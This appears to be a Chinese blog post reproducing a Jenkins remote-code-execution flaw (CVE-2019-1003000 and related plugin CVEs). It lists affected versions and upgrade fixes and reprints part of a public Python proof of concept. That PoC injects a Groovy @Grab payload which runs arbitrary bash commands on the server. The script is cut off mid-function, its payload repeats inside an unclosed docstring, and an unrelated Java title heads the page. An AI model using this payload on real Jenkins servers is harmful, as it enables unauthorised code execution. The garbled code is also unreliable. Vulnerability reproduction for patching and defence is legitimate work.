java中的接口是类吗
882
2022-10-09
Jenkins RCE CVE-2019-1003000 漏洞复现(jenkins sonar)
0x00 简述
拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码CVE-2019-1003000 (Script Security)CVE-2019-1003001 (Pipeline: Groovy)CVE-2019-1003002 (Pipeline: Declarative)
0x01 受影响的版本
Pipeline: Declarative Plugin up to and including 1.3.4Pipeline: Groovy Plugin up to and including 2.61Script Security Plugin up to and including 1.49
0x02 漏洞复现
0x03 payload
#!/usr/bin/python
# Author: Adam Jordan
# Date: 2019-02-15
# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
import argparse
import jenkins
import time
from xml.etree import ElementTree
payload = '''
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()
'''
def run_command(url, cmd, job_name, username, password):
print '[+] connecting to jenkins...'
# 连接jenkins服务器
server = jenkins.Jenkins(url, username, password)
print '[+] crafting payload...'
'''
首先从jenkins获取job my-pipeline的配置文件,然后将payload写入配置文件,重新构建job.
payload = ''' import org.buildobjects.process.ProcBuilder @Grab('org.buildobjects:jproc:2.2.3') class Dummy{ } print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString() '''
0x04 修复建议
更新升级组件到安全版本Pipeline: Declarative Plugin should be updated to version 1.3.4.1Pipeline: Groovy Plugin should be updated to version 2.61.1Script Security Plugin should be updated to version 1.50
参考连接:http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.htmlhttps://github.com/adamyordan/cve-2019-1003000-jenkins-rce-pochttps://jenkins.io/security/advisory/2019-01-08/
版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。
发表评论
暂时没有评论,来抢沙发吧~